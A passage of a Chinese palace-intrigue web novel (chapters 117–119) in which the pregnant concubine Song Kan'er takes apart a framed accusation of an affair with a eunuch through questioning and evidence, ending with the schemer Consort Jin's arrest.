院子里再无一人站立,众人皆恨不得找个地缝钻进去,恨自己没有又聋又瞎!
槛儿脸色惨白。
及时踉跄几步,浑身颤抖。
高祖有训,凡后宫妃嫔、东宫妻妾与太监私通有染,当以秽乱宫闱罪论。
涉事妃嫔、太子妻妾一律赐死,有孕者不论月份,即命稳婆堕之弃于虿盆!
太监剥皮凌迟!
当然,这是查证为实的。
反之,涉事妃嫔与太子妻妾及胎儿自然不会有事,反倒可能因祸得福。
但,是福是祸尽在太子一念之间。
而这天底下又有哪个男人能容忍自己的女人同别人有牵扯呢,更别说还是跟个没了根儿的低阶奴才。
换言之,就算槛儿侥幸脱罪,也多少都会让太子对其心存芥蒂嫌恶。
再退一万步说就算太子真就丁点儿嫌恶也无,之后还能照旧宠槛儿。
可宫里哪哪都有太监啊。
太子真就不会在看见这些太监时想起这件事吗?不会在去槛儿院里,看到她门前的太监时想起这件事吗?
种子种下了。
长大只是时间问题。
这便是今晚设局之人的目的。
能一招将槛儿按死固然好。
若不能,也能让她从此失了宠!
“你放肆!”
曹良媛“啪”地拍案而起,抄起手边茶盏就朝方宏的脑门儿砸了去。
“宋昭训乃太子侍妾,现今又身怀皇嗣,岂容你这个狗奴才随口诬陷?!”
说着,她面向太子。
“殿下,此等刁奴当即刻杖毙!还请殿下做主,还宋昭训一个清白!”
“殿下饶命!殿下饶命!”
方宏似是被吓坏了,磕头磕得脑门儿都破了,紧跟着又抛出了一记雷。
“这事儿不单是奴才看到了,还有人也知道!就芳莲,芳莲也知道!”
“奴婢不是故意的,奴婢不是故意的!”
芳莲趴伏在地,连声道。
“奴婢当时只是路过,没想到会碰上宋昭训和小忠子!奴婢也没想偷听小忠子说话,实在是不小心……”
郑明芷:“什么话?”
芳莲:“奴婢不敢说……”
庞嬷嬷跪在前面,闻言转身就拧了她一下:“太子妃让你说你就说!”
芳莲:“就、就前几天,奴婢半夜从浆洗房出来,撞见小忠子在角落里哭。
说他没想破坏宋昭训的好日子,但如果宋昭训不放心,想要他闭嘴,那他就如宋昭训所愿,反正他命贱……”
事情刚发生的时候就有人怀疑小忠子死得蹊跷,芳莲的话一出,好像就说得通了。
合则这小太监真不是自己不小心被恭桶砸死的,是宋昭训要**灭口!
第117章 槛儿巧言审刁奴!太子清冷如山当辅助。
风吹得院中草木沙沙作响,屋中似有若无的抽气颤抖声仿若鬼魅之泣。
“殿下,这……”
曹良媛难掩惊愕地捂着嘴,看看太子,又看看槛儿,“宋妹妹,你……”
秦昭训的视线在太子和太子妃脸上转了一圈,又在曹良媛身上顿了顿。
最后投向槛儿。
郑明芷则是又怒又怄,胸腔里的那团火几乎要把她的理智烧成灰!
恼的自然不仅仅是今晚设这场局的人把她算计进去了,更为她没想到嘉荣堂竟被对方渗透得如此之深!
眼下光站出来指认的就有三人,这三人还只是最底层的奴才,那么肯定有更高一层的人指挥这些人!
能办到这事的。
除了曹良媛,别无他想!
她要帮宋槛儿把曹良媛揪出来吗?
还是顺势先除了宋槛儿这小蹄子,再重新找个好拿捏的奴才来借肚皮?
凡事有一就有二。
她能说动太子一次,就能说动第二次对吗?
郑明芷不确定。
也没时间让她多想。
槛儿像似终于缓过了神,来到太子面前郑重道:“殿下,可否听妾身一言?”
骆峋看着她。
她的肚子还算不得大,但在其他人的对比之下,挺着肚子的她便格外显眼。
骆峋曾许诺过她,日后不论遇上何事都会听她一言,给她一个说话的机会。
他本也不会偏听偏信。
“嗯,你说,孤亦想听你说。”
“多谢殿下。”
槛儿福身,继而转向那四个宫女太监。
“现在主要有三个说法,其一,芳莲与翠萍指证这件贴身衣物乃妾身所有。
其二,这个小太监指认妾身与小忠子两情相悦且有过亲密行为,有芳莲作证。
其三,芳莲说曾在前几天目睹小忠子自泣,言外之意妾身有杀其灭口之嫌。”
“妾身现针对第二条,有一问想要问芳莲与这个小太监,在那之前,翠萍。”
“奴、奴婢在。”
被叫到的翠萍忙不迭应声。
槛儿:“我问你,你除了指证这件贴身衣物为我所有,可还有别的事也要指证我?你可知我与小忠子之事?”
翠萍的脑袋摇成拨浪鼓。
“没有了,奴婢不知,奴婢不知道这事!”
“确定?肯定?”
翠萍:“奴婢确定,肯定!”
槛儿点头。
“那好,那我便先针对第二条问问芳莲和这个小太监……你叫什么名?”
好、好!
没认出他,连他的名字都不知道!
方宏咬牙,很快又松开。
“回宋昭训,奴才叫小宏子。”
“好,小宏子。”
槛儿看着此人。
“你是何时知道小忠子对我有意的,又是何时知道的我喜欢小忠子,我与小忠子又是何时有的亲密行为?”
方宏低着头眼珠子转得飞快。
“回宋昭训,奴才刚知道小忠子对您有意是、是不小心听了他的梦话,小忠子在梦里叫了您的名字。”
槛儿:“大概什么时候?”
方宏:“起初是在您还没离开嘉荣堂的时候,最近一次是……一个多月前。”
槛儿问小元子。
“小宏子就寝的地方离小忠子可近?小忠子可有说梦话的习惯?”
小元子都要尿了!
拉了一晚的肚子就罢。
撞上**就罢,这会儿居然又被卷入了这种一不小心脑袋就要搬家的事里!
他怎么这么倒霉!
小元子浑身冷汗直流。
“回宋昭训,小宏子就寝的地处和小忠子隔着一个人,小忠子有没有说梦话的习惯,奴才、奴才不清楚。”
“你可曾听他说过?”
小元子苦道:“奴才、奴才晚上睡觉一向沉,没听他说过什么梦话……”
槛儿不为难他。
继续问小宏子:“你是何时看见我与小忠子有亲密之举的?在哪看见的?”
方宏吞口水:“就、就今年三月……”
“哪一天?”
“三月、三月初几……十几,宋昭训恕罪,奴才不记得了!真不记得了!”
槛儿“什么地方?”
“洗衣裳那口井对面的巷道里。”
槛儿问芳莲:“你呢?”
芳莲看着那双绣着芍药的鞋尖,一咬牙:“奴婢也是那一天,奴婢在巷道另一头。”
槛儿:“总之你俩都是今年三月,看到的我与小忠子有亲密之举对吧?”
二人齐齐点头。
槛儿便问:“那以你们看,我和小忠子这种是结了菜户,还是只是对食?”
对食指的是宫女与宫女,或是宫女与太监临时结成的一种伴侣关系。
结菜户则为宫女太监结成名义上的夫妻,是一种长期且具有忠诚性的关系。
槛儿此言,可谓语不惊人死不休。
秦昭训嫌恶地皱眉。
曹良媛嘴角抽了抽。
郑明芷扭头去看太子。
行吧,太子仍旧不动如山的清冷寡淡。
方宏和芳莲怔住,都没想到槛儿会有此一问,反应过来后又齐齐磕头。
“宋昭训饶了奴才/奴婢吧,奴才/奴婢只是把自己知道的说出来,别的奴才/奴婢真不知道,您饶了奴才/奴婢吧……”
槛儿不与他们掰扯,转身请示太子:“殿下,可否劳烦您下令。”
别看槛儿此时逻辑清晰条理清楚,实则因着这具身子的某些人力不可控的本能反应,槛儿的面色是白的。
眼眶也微微泛红,唇瓣亦失了血色。
不提太子如何想,至少在曹良媛和秦昭训等人看来槛儿便是在强装镇定。
骆峋的目光在槛儿泛红的眼眶处停留半息,而后转向方宏芳莲二人。
“此时不说,今后便无必要开口。”
方宏、芳莲脸色大变。
意思要拔他们的舌?!
二人跪伏着对个眼神
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,方宏正要说话。
槛儿忽然出言打断:“你二人抬头看着我同时开口,声音不可一大一小。”
太子:“嗯。”
方宏、芳莲的心怦怦直跳。
芳莲是紧张的。
方宏……
两人俱不敢怠慢,先后抬起头来。
槛儿伸出手。
“不需要说多余的话,只需答是菜户还是对食,我数到三,你们同时作答,一、二、三。”
芳莲:“对食!”
方宏:“菜户!”
屋里一静。
旋即二人迅速又对个眼神。
芳莲:“菜户!”
方宏:“对食!”
屋中的气氛明显变了。
跪着的一众人什么心思不提,坐着的几位主子和站着的海顺神色各异。
槛儿放下手,很轻地笑了一下。
“你二人说在同一天看见我与小忠子行那等亲密之举,且小宏子知晓芳莲知道这事,芳莲自己也承认了。
另外,方才小宏子指出芳莲知晓我与小忠子有行违禁之事时,芳莲并未对小宏子所言表现出任何惊讶。
说明你二人目睹我与小忠子的亲密行径后,有针对此事碰头合计,如此才能解释你们刚刚一唱一和的反应。
但我让你们说我和小忠子是菜户还是对食,你们第一次的回答不一致。
说明你们要么是真不知道,要么没统一好口径,于是你们对了眼神有了第二次回答,这次你们改了说法。”
“为何改说法?”
槛儿的视线在二人脸上扫一个来回。
“若心中无鬼,真不知我与小忠子是菜户还是对食,完全可以保持己见。”
方宏瞳孔微缩。
芳莲脸上全是冷汗。
“奴才/奴婢……”
“没关系。”
槛儿柔声说。
“假设便按菜户算,你们可知道宫中举报宫女太监结菜户有奖吗?”
郑明芷皱眉。
刚要说举报结菜户有哪门子的奖。
就听槛儿对那两人道:“你们不知道举报结菜户者有奖,看来也必然不知道包庇结菜户者有罚了。
高祖顺武十五年六月十八有诏令,内官有私结菜户者,知情不举者同罪。
若我与小忠子真如小宏子、芳莲所言行了那等违禁之事,那么按大靖律我与小忠子皆该被施以凌迟之刑!
再按高祖令,小宏子、芳莲该与我二人同罪论处,海公公我说得可对?”
海顺沉着脸。
“回宋昭训,就是您说的那样。”
方宏、芳莲瞬时面若金纸。
槛儿双眼微眯,眸底冷意一闪而过。
“你二人于今年三月亲眼目睹我与小忠子行违禁之事,却知情不报,如今又站出来言辞凿凿地指证我。
你们不会以为现在跑出来说了实话,你们的包庇之罪就能抵消了吧?
还是说你们觉得陷一个身怀皇嗣的东宫侍妾于不义之中,自己可以逃过一命?!”
第118章 (合章)现场人物侧写,槛儿压倒性破局!
别说。
方宏、芳莲,以及翠萍真是这么想的。
倒不是他们蠢、天真,明明都在皇宫里待了有些年头了,还不知牵扯到诬告构陷的事会殃及到性命。
而是多数人在面对尚未发生的事时,大多都抱着各种各样的侥幸心态。
譬如他们会觉得自己的计划天衣无缝,觉得背后的人一定会保他们无事。
譬如他们常年在宫中最底层,眼界有限,觉得他们只要把人咬死,上边的主子们就不会将他们如何。
好比方宏、芳莲知道包庇结菜户会被罚,但他们对具体的惩罚制度并不了解。
更别说还像槛儿这样,张嘴就是高祖的诏令,甚至详细到哪年哪月哪日。
殊不知槛儿会熟知这些诏令律法,除了有她前世做过皇后的原因在,还因为她早年刚入宫就是谨慎小心的性子。
在广储司时便常常听别人聊和宫规有关的事,每次听她都会默默把这些涉及到诏令条律的给牢牢记下。
此外,还会有人觉得法不责众。
觉得主子们也会有所顾忌。
于是就想反正干这事的不止自己一个,反正自己又不是主谋,就算败露也不至于就刚好轮到自己头上等等。
这其实就是一种**心理。
在输赢定下来前,多数人都抱着“撑死胆大的,饿死胆小的”的心态下注。
而促使此人下注的原因,有被个人恩怨蒙蔽了双眼的,有对银钱地位渴望的,亦或是被抓住了把柄的。
而他们这种**。
对于脑子不灵光的人,或是遇事六神无主,被冤枉了也只知说“清者自清浊者自浊”的人来说其实很有效。
可惜。
槛儿不是这样的人。
所以此刻,听完槛儿的一番话,方宏、芳莲三人都不自觉地慌了神。
方宏还算稳得住。
他看着那张半年多不见的小脸,看着她穿着绫罗绸缎,看着她隆起的腹部。
指甲陷进掌心里。
他辩解道:“奴才那时候没说,是想着小忠子和昭……大家在一处当差,何苦来互相为难,这才犯了错。
今儿出了这档子人命攸关的事,奴才也是没法子了,若真逃不掉便逃不掉吧,横竖奴才说的都是实话!”
说罢,他把脑袋重重磕到地上。
一副任凭处置的模样。
是她先对不起他的。
是她先瞧不起他,先忘了他的!
他那么喜欢她,那么喜欢!
槛儿看着方宏,没有多说他什么。
她在嘉荣堂后院确实有不少旧识,但这些旧识都只处于“识”,也就是大部分话都没说几句的程度。
不仅仅因为郑氏与庞嬷嬷不喜她,众人见风使舵,也因为杂物繁重,她真没什么心思去关注别人。
见小宏子一副将生死置之度外的模样,槛儿的目光转落在芳莲身上。
“你们可以坚持你们刚开始的说法,但有一点我有必要提醒你们一声。
我方才所言同罪论的前提,是我与小忠子真有不清不楚的关系,你们真包庇了。
若不然这个罪名则不成立,包庇罪不成立,你们便不会被凌迟,但你们要面临的就是诬告储君之嗣的罪名。
此乃动摇国本、亵渎皇权的大不敬之罪,按律当斩首示众,株连九族。”
方宏和芳莲就有些听不明白了。
包庇罪,他们会被凌迟但不殃及家人,承认自己做了伪证,自己死还要带上九族。
这不是傻子都知道怎么选的问题吗?
宋槛儿这么说什么意思?
方宏、芳莲以及翠萍一头雾水,跪在地上的庞嬷嬷和霜云霜月也不明白。
秦昭训与郑明芷亦都皱着眉。
去看太子。
很好,一如既往看不出什么。
曹良媛心底升起了一股不好的预感。
果不其然。
下一刻,槛儿就温声道:“但大靖律令有言,诬告伪证者若有认错悔过之心,供以主谋,即可戴罪立功。”
当然,本条律只针对不涉及蔑视皇权谋危国本的罪,本质其实是死罪可免活罪难逃。
而对于这种伙同构陷妃嫔或太子侍妾,殃及皇嗣的,只有死路一条!
不过槛儿也不算说错嘛。
大靖律令确实有这么一条。
方宏三人当然知道大靖律令,关键这玩意儿不是谁都能张口就来啊。
他们就是粗使杂役,谁背得了那玩意儿。
别说他们。
郑明芷、曹良媛和秦昭训闻言都愣了愣,心想大靖律令有这么一条吗?
诚然她们作为官家闺秀出身,如今又是太子妻妾,自是知道大靖律令。
只大家平日鲜少接触到会用到大靖律令的事,熟悉的大多都只是耳熟能详,或他们可能用到的几条。
这种随便就能单拎出来一条或几条背的,她们一时还真不好确定。
但当着太子的面,宋槛儿应该不至于胆大到伪造大靖律令的地步吧?
正这么想着,槛儿似是也不确定地看向海顺:“海公公,我说得可对?”
海顺对大靖律令可太熟悉了,看了眼太子他答道:“宋昭训所言非虚。”
此言一出。
芳莲、翠萍明显从刚刚的虽害怕眼神却犹带恳切,变成了无措且踌躇,两人还自以为隐秘地对了眼神。
方宏跪伏的身板僵直。
他颤着声音道:“奴才斗胆问宋昭训一句,昭训主子这是在诱供吗?”
槛儿:“律令在册没有诱供之说,我只在陈述事实帮你们认清眼前形势。
你可以保持己见,等我针对这件贴身衣物做了说明,你们再决定不迟。”
银竹拿着那件肚兜行到近前。
槛儿侧身。
视线在上首处两位主儿和曹良媛、秦昭训身上不失分寸地环视一周。
“这件衣物以粗麻布制成,没有大面积绣花,只有可作标记的小绣。
与宫中低阶宫女所着之衣差不多,且尺寸瞧着似乎也与妾身的身形相合,按理的确可能为妾身所有。
但妾身还是要说,此物非妾身所有。”
“原因有三,第一条。”
槛儿比划着手指。
“低阶宫女的衣料来源分为内务府调拨由东宫典服局统一配发,以及自发说明缘由与典服局购置。
这两条布料来源典服局都有明确记载,包括每人领了多少料子、针线。
妾身是前年十月初三被调来嘉荣堂,参与殿下和太子妃大婚的准备事宜。
此前妾身在广储司,日常衣物及用料是由内务府直接配发,妾身领了多少次布料和针头线脑皆可查证。
而到今年四月十七,妾身幸得殿下、太子妃恩典搬离嘉荣堂为止,期间妾身拢共只新做了一件贴身衣物。”
女子的贴身之物什么的。
按理是绝不能这么当众宣之于口的,遑论槛儿如今还是太子的侍妾。
此等私密之事,平时就算有人敢说也没人敢听,可谁叫现在情况特殊。
不想说也得说,不敢听也得听。
所以槛儿继续看着太子道:“且因为某些不可说的特殊原因,妾身的贴身衣物一向用的都不是粗麻布,而是和粗麻布颜色相似的土棉布。”
“不可能!”
芳莲突然出声。
在槛儿和几位主子看过去的时候意识到自己的失仪,她赶忙磕头请罪。
跟着道:“殿下,宋昭训说的不对,宋昭训的贴身衣物不是土棉布做的!
奴婢们的月银为五钱,也就是半两,一匹粗麻布要六钱银子,土棉布要七钱。
宋昭训之前和奴婢们同为粗使浣衣宫女,是不可能买得起土棉布的,土棉布和粗麻布的色儿也不一样!”
骆峋不显地微眯凤眸。
郑明芷看向槛儿:“宋昭训如何说?”
宋昭训站着说。
“回太子妃,芳莲所言确实如此,妾身在后院浣衣所当差月银是五钱。
除去日常开销,要想买一匹粗麻布尚且需要攒几个月的银子,买一匹土棉布要攒钱的时间只会更长。”
芳莲低着头,唇角的弧度微妙。
然而没等她窃喜完。
槛儿的声音在继续:“但妾身在广储司当差的月银起初为八钱,后为一两二钱。
妾身在广储司拢共做了五年的差,虽没有攒出多少可观的身家,但一年买一匹土棉布还是勉强能担负得起。
同理,染一匹土棉布要两钱,妾身一年请典服局帮忙染一匹也稍显可行。”
“皆因妾身不想在晾晒自己的衣物时惹人注意,所以才如此行事,典服局有记载太子妃可请人查证。”
芳莲难以置信地瞪大眼。<
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br>槛儿却是不再给她辩驳的机会。
“典服局的记录可作为证明这件衣物非妾身所有的第一条证据,但不排除有人暗中动手脚的可能。
所以妾身的第二条证据便是这件衣物上小绣用的线,这线颜色过于新鲜。
宫中绣线有明确的等级之分,拿银子典服局也不会给好的,因为会逾制。
所以低阶宫女普遍用的绣线要么未经染色,要么是拿花草染了色的。
这种绿色的线通常是用柳叶汁染的,遇水则晕,但这件衣物没有晕染痕迹。
这说明,绣这片柳叶的线要么是对低阶宫女来说的逾制线,要么就是衣裳是崭新的。”
槛儿刚说到花草染色时海顺便使了个小太监下去,她的话说完水也端来了。
银竹要将肚兜放进盆中。
槛儿伸手拦了拦,重新看着太子。
“殿下,妾身的第三条证据是,妾身从前是广储司的绣娘,所精通技法均有记载在册,亦有绣品可作证。
这件衣物上的小绣构图简单质感粗糙,针脚大小不一,只用了平针和齐针,没有锁边,但走针又显熟练。
以妾身来看,这个小绣八成出自一位比浣衣宫女稍高一级的嬷嬷之手。
此人会女红,但平时鲜少绣小花小草。
接触好绣品的机会少,性子稍显急躁刻板严厉,年纪大概在五十岁左右……”
所谓做惯的营生,闭眼摸得门。
指的便是一个人若长期以某种技能谋生,或是长年对某件事极为熟悉,那么往往一眼就能看出其中门道。
槛儿能凭绣品便推测出做此绣品之人的性情、年龄,自然也不是无稽之谈。
广储司就偶有精通绣技的高阶嬷嬷用这种法子,揪一些投机取巧的滑头。
只不过平时其他地方鲜少有人知道这些事,也就导致随着槛儿的话说完,屋中陷入了一阵诡异的安静。
以庞嬷嬷为首的一众宫人纷纷面露惊疑,郑明芷和秦昭训也略显吃惊。
曹良媛攥着帕子的手收紧。
骆峋多看了槛儿两眼。
而那厢早在槛儿先后背出高祖诏令和大靖律令时,就心智动摇的翠萍。
此刻随着槛儿一条条证据列举出来,一直强装镇定的她终究撑不住了,似是神志不清地喃喃着什么。
槛儿对太子道:“恳请殿下下令搜查后院,据妾身所述找出相关人物,今晚之事究竟为何当立见分晓!
另恳请殿下准浣衣所从前同妾身一道起居的其他人上前,这件衣物是否为妾身所有应该不止她二人知晓。”
第二条恳请其实不管是对芳莲三人,还是其他和槛儿一起住过的人来说。
都是一种心理上的压制。
毕竟场中这会儿的局势,就算谁有小心思,这种时候也绝不会冒出头。
事情发展到这儿,真相已经很明显了,今晚之事就是有人在构陷槛儿!
骆峋没有理由不允。
他也不会不允。
甚至都不需要他开口,心领神会的海顺就立马出去把事儿交代下去了。
果不其然。
被叫上来的另几个和槛儿住过的宫女,在看了那件肚兜后纷纷摇头。
要么表示自己不知情。
要么表示自己没在槛儿身上见过。
而等她们都提供了证词,银竹把肚兜放进水里,那片柳叶果然晕染开了。
试问。
有哪个和别人通奸的女子,会把一条毫无使用痕迹的肚兜给对方呢?
或许有?
可这并不足以证明这个肚兜是谁的。
反正翠萍知道自己被拆穿了,几乎是银竹把沾水的肚兜往她面前一摆。
翠萍就砰砰磕起了头。
把自己知道的一股脑儿全说了。
说起来她和槛儿其实真没什么过节,会指证肚兜是槛儿的也没别的原因。
就是对方给的多。
而这事正是芳莲主动找她合计的。
至此。
今晚这桩宋昭训与嘉荣堂后院之太监有染的诬告构陷事件,彻底被槛儿凭一己之力,撕开了伪造的表面。
曹良媛坐在太子妃左下首处的第一个位置上,看着槛儿的目光晦暗不明。
见对方似不经意朝她这边看过来。
曹良媛扯扯嘴角。
骆峋拨去茶盏中的浮沫,凤目微侧。
第119章 (合章)他喜欢槛儿!金承徽被抓!
翠萍拿出了是芳莲主动找她合计此事的证据,于是芳莲自然而然也招了。
她和槛儿其实也没有仇怨。
但她不甘。
不甘同样是粗使奴才,凭什么宋槛儿就能翻身成了主子,成了东宫宠妾!
甚至怀了皇嗣!
不甘自己明明在宫里的年头比宋槛儿长,为什么这样的好事偏轮不到她!
所以芳莲恨,芳莲嫉妒!
偏她除了暗地里藏着这些心思外什么都做不了,她连到前院的机会都没有!
种种嫉恨上头,外加到手的钱多,芳莲便在方宏找上她的时候决定赌一把。
她想,槛儿做主子她们这些人讨不到好处,但槛儿被拉下来她舒坦!
至于会不会掉脑袋。
这方面芳莲和翠萍不谋而合,自然也是抱着各种各样的侥幸心态。
人性大抵就是如此。
处境相同之人,若其中一人过得不如另一人,另一人或会同情、会感慨、会愿意与其交好,亦或者会漠视。
反之同样如此。
若有朝一日此人得了际遇,日子过得好,且二人之间差距越来越大。
另一人或会羡慕、会由衷为此人感到高兴,但也可能二人渐行渐远、亦或者另一人心生嫉妒不甘。
眼下来看芳莲便属后者。
不知是她知道自己难逃一死,豁出去了,还是被当下的形势吓得不知所云了。
芳莲不仅供出了是方宏找上她合计的这件事,还道出了她对槛儿的嫉恨。
她就那么跪趴在地上。
干瘦的身子明眼可见地颤抖不止,深秋的夹衣也遮不住她嶙峋弯曲的脊背,屋中充斥着她隐忍的哽咽。
郑明芷在呵斥芳莲,一口一个刁奴贱婢。
秦昭训看着槛儿。
曹良媛也看着槛儿。
前者眼神清冷,后者眼神似同情宽慰。
看似两道意味截然不同的视线,其间却夹杂着同一丝兴味和好奇。
像是都想知道,槛儿此刻的感受为何。
又会说什么,做什么。
都是低等奴才出身,还曾同吃同住。
如今却是一人锦衣玉食、养尊处优。
他人卑躬屈膝、如履薄冰,甚至不惜为了几两银钱不要命的事都干出来了。
秦昭训和曹良媛便想知道,槛儿看着跪在她面前的这些同胞是什么感受。
然而可惜。
她们没能从槛儿脸上看到寻常人得知自己被昔日同胞背刺时,该有的惊愕、伤痛、失望、苦涩等复杂情绪。
有的只有纯粹的,隐忍不发的怒。
她都不难过吗?
秦昭训困惑地想。
槛儿当然不难过,毕竟前世经历过一回了。
虽然不是同一件事,但性质差不多。
彼时槛儿心里倒真有几分百味陈杂。
为同根生却相煎太急感到悲哀,为不得不为二两银钱卖命的生活感到苦涩。
为自己与他们无冤无仇,对方却要害她感到惊愤,也为今后要更加如履薄冰感到茫然。
但现在,槛儿丁点儿其他情绪都没有。
她只知道这些人要害她。
这些与她往日无仇近日无冤的人,这些自己从不曾得罪过的人,为了他们各种各样的私心要置她于死地!
置她的孩子于死地!
“你呢?”
槛儿面无表情。
看向没说话的方宏,“她俩都指证你是此事的主谋,你有什么要说的?”
方宏知道今天这一遭自己是逃不掉了。
其实这个结果他在收了那人的银子,打定主意做这件事的时候就想过了。
他不熟悉大靖律令,做不到像她那样张口就来,可他好歹知道自己要犯的是死罪。
可他还是做了。
还是把与人通奸的罪名扣到了她头上。
为什么?
因为喜欢。
因为他喜欢槛儿!
前年冬天的那个晚上,方宏这辈子都不会忘。
他漏洗了两个恭桶,刚巧撞上刘太监在上边吃了挂落,心情不好的时候。
刘太监对他又打又骂,一整天没让他吃饭,让他大晚上在雪地里跪四个时辰。
当时,方宏真的以为自己要**。
但就在这时候。
值夜的槛儿从浆洗房出来路过他们院门口,及时接住了被冻僵要倒地的他。
她身子柔软,身上和他们这些常年倒夜香洗恭桶的人不同,是香的。
她的声音像被太阳照过的溪流,清澈温暖得让他一度以为出现了幻觉。
她问他还好吗?
问他还能坚持住吗?
她从怀里掏出一个窝窝头给他,悄悄让他吃,让他要坚持住,不要死。
说明天是大晴天。
于是,他真的没有死。
因为她的那个窝窝头,因为她。
他想看她说的大晴天。
可像他这样的,连男人都算不上,他怎么敢对她痴心妄想,怎么敢靠近她呢。
方宏只敢偷偷地喜欢,只敢远远的,假装不经意地看着她所在的方向。
日复一日。
直到去年冬天,槛儿也被罚了。
她跪在结了冰的水井旁,小脸冻得发紫,摇摇欲坠好几次都差点栽进井里。
方宏心疼坏了。
他假装路过,像她之前帮她那样抓住了她,再把怀里的窝窝头塞到她手里。
可让方宏没想到的是。
槛儿不要他扶,她推他,催他走。
也不要他的窝窝头。
她甚至没有认出他!
为什么没认出他?为什么不要他扶?
为什么要催他走?
也不要他给的吃的?
方宏猜,槛儿是嫌弃他。
没错。
她就是嫌弃他!
和其他人一样,嫌他是个倒夜香的,嫌他有味儿,嫌他每天摸恭桶的手!
可她怎么能够这样?
明明是她先接近他,是她先闯进他的生活,现在却又来嫌弃他。
她怎么能这样?!
他那么喜欢她,那么喜欢!
方宏觉得痛苦,感到愤怒,可他舍不得槛儿,还是习惯性远远地看着她。
直到今年三月。
他忽然听说槛儿被调回前院了。
他跌跌撞撞跑到浣衣所,想在那里找到自己熟悉的身影,听到熟悉的声音。
可是没有。
她真的走了。
他们之间隔着一个前院到后院的距离,却像似隔着一座难以翻越的山。
又过了一个多月。
方宏听说太子破天荒纳了新人,那人就是槛儿,他喜欢的槛儿!
她成了太子的女人!
再之后,方宏便总能听到身边人提起槛儿。
他们说太子如何如何为槛儿破例。
槛儿又是如何如何得宠。
如今怀了皇嗣,彻底成了东宫的独一份!
呵。
方宏就知道,当初槛儿是真的嫌弃他。
他也真的看错了人。
什么清澈,什么心地善良都是假的!宋槛儿骨子里就是个浪货,是个**!
他们说的没错。
要不然太子怎么就独独为她破例?要不然后院怎么就她一个怀上了?!
因为她骚,因为她浪!
方宏觉得恶心。
可他的心又好痛。
他喜欢她这么久,难道就这么算了?
当然不!
宋槛儿欺骗了他的感情,欺骗了他的真心,他不能就这么算了,他不甘心!
所以方宏决定,把槛儿拉回来。
他们一开始本就是低贱的奴才,他是给人倒夜香的,她是给人洗衣裳的。
他们才是一路人。
这条路才是他们的归宿。
是宋槛儿的归宿。
“不说是吗?”
见他低着头不说话,槛儿懒得再浪费时间,转身准备请示太子进行下一步。
“奴才说,奴才说!”
方宏猛地抬头。
在槛儿看过来时对上她的眼。
然而不待他说话,一道冰冷的嗓音忽然响起:“将此人封口送去典玺局。”
典玺局相当于东宫的内务府,管东宫一切事务的核心之地,其掌事便是海顺。
太子今晚没开过几次口。
此时开口便要将一个净军太监送去典玺局,郑明芷和曹良媛等人都愣住了。
槛儿看向太子。
骆峋亦看向她,却是未曾多言。
“不、宋昭训、宋……唔!”
方宏被堵住嘴拖拽了出去。
但临出门,他直个劲儿地扭头往屋里看。
脸都涨紫了。
海顺刚好来到门口,打眼看出了猫腻,他心头一紧,当即比划了个手势。
方宏被一记手刀砍晕。
与此同时,袁宝领着人押了二十来个,符合之前槛儿描述的粗使婆子回来了。
.
香叶轩,正房。
一个小太监匆匆朝门口奔来。
紫苏站在台阶上,问道:“外面现在什么情况?怎么听着动静这么大?”
小卓子白着脸,一脑门儿的汗。
“嘉荣堂围了一圈侍卫不准人进出,我跑遍了地方都没找到能打听的人。
但明显是出了大事,这会儿殿下身边的袁宝公公正领着人来后院了!”
紫苏的心突地一跳:“来后院作甚?”
小卓子摇头。
“真不知道,想是早下了禁口令。”
紫苏转身疾步回了内室。
“主子怎么办,前边儿来人了,说是要搜查什么人,您说会不会是来……”
剩下的话消失在金承徽冷冷的眼神里
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。
但金承徽其实这会儿也怕。
她爹只是一个六品京官,她进东宫前还是从的,她入了东宫才升了正的。
她娘厉害,把她爹治得服服帖帖。
妾都没纳一个。
所以他们家后院压根儿没有妻妾争宠的事发生,金承徽自然也没从她娘那儿学什么后宅勾心斗角的手段。
也因此,这是她头一回做这种事。
不慌才怪了。
但金承徽又忍不住心想,不会有事的。
是宋槛儿先不知尊卑顶撞她的,是她先害她被郑氏叫人扇耳光的。
也是宋槛儿害她被禁足的!
她反击理所应当,也要为了维护自己的利益不能让对方继续得意下去!
金承徽不觉得自己做错了。
也做得很隐蔽。
花了近半年时间,动用了那么多人。
那劳什子肚兜她没见过,也不是她的人做的,只要她咬**不认就不会有事。
绝对不会!
正这么想着,院里突然一阵不小的动静。
紫苏匆匆跑到门口。
却是被袁宝堵了个正着。
白菘吓得碰摔了花几上的花瓶。
金承徽瞪她一眼,旋即假装镇定地匆匆迎了过去,“袁公公,你这是……”
袁宝打了手势,上来几个粗壮的太监宫女将金承徽主仆团团围住。
“金承徽,殿下有请。”
“另外,香叶轩的宫人一个都别放过!”
金承徽被架出了香叶轩。
人都要气疯了!
“袁宝!袁宝你放肆!我是太子承徽!你敢让这些狗奴才对我动粗,信不信我禀明殿下,让殿下把你……”
袁宝头也不回地打断她的话:“承徽省省力吧,用不着您禀明,等见着了殿下多得是让您说话的机会。”
金承徽:“什么意思?”
袁宝没作理会,只加快了步子。
金承徽不信自己会这么轻易就暴露了,一路上扯着嗓子问候袁宝的祖宗。
然而等到了嘉荣堂。
他们一行人刚走到院子中间。
面朝屋里跪在正房门前的一个小宫女听到动静扭过头来,跟着眼睛一亮。
指着金承徽身后其中一人道:“就是她!就是她给的银子让奴婢跑腿的!”
那小宫女指的正是在金承徽跟前伺候,此时一并被押来的二等宫女流云。
确定对方指的是自己,流云一脸懵,倒是被押在她前面的紫苏彻底软了脚。
金承徽看到了,目光狠戾地威胁了紫苏一眼,顺带也不忘剜一眼白菘。
敢坏她的事。
她会让她们**的都不知道!
金承徽强行无视自己后背冒起的冷汗,等进了屋押着她的宫女一松手。
她就娇嚷着往太子面前扑:“殿下!您看这些个刁奴,他们居然敢……”
却是才扑走了几步还没来得及到太子跟前,就被郑明芷叫人拦住了。
“金承徽你好大的胆子!”
郑明芷怒喝。
“构陷东宫女眷,诬告皇嗣,妄图混淆皇室血脉,还不立即跪下如实招来!”
金承徽被按跪到地上。
正准备呵斥按着她的人,就听了郑明芷一连串怒斥,她的脸本能地一白。
眼珠子心虚乱转,下意识在屋里找起槛儿。
等她看到槛儿竟坐在平日请安的座位上,看起来毫发未损时,金承徽一个激灵头发根儿都要竖起来了!
怎么会这样?!
姓宋的怎么会好端端地坐着!
这个时候宋槛儿难道不应该被曝和低贱的太监有染,意图**灭口,结果偷鸡不成蚀把米被逮了正着。
然后被太子当场厌弃赐死。
腹中野种也要被堕下扔蛇堆里,宋槛儿为此跪在地上痛哭流涕狼狈求饶吗?
为什么她现在什么事都没有?!
没错。
